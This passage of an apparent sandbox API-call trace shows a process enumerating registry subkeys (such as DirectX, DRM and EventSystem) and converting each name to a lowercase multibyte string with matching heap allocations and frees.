(HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.774] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x233b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x233c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.774] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x233b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x233c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.775] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x233b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x233c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.775] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x233b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x233c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.775] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x233b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x233c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.775] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.775] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x233b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0026.775] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x233c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.776] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x233b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x233c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.776] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x233b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x233c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.776] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x233b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.776] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.776] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x233b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0026.776] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x233c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.777] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x233b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.777] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x233b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x233c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.777] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x233b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.777] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.777] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x233b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0026.777] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x233c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.778] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x233b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x233c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.778] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x233b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x233c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.778] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x233b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0026.778] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.778] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.778] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x233b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x233c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.779] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x233b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x233c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.779] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x233b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x233c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.779] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.779] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x233b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.779] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x233c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0026.779] RtlAllocateHeap 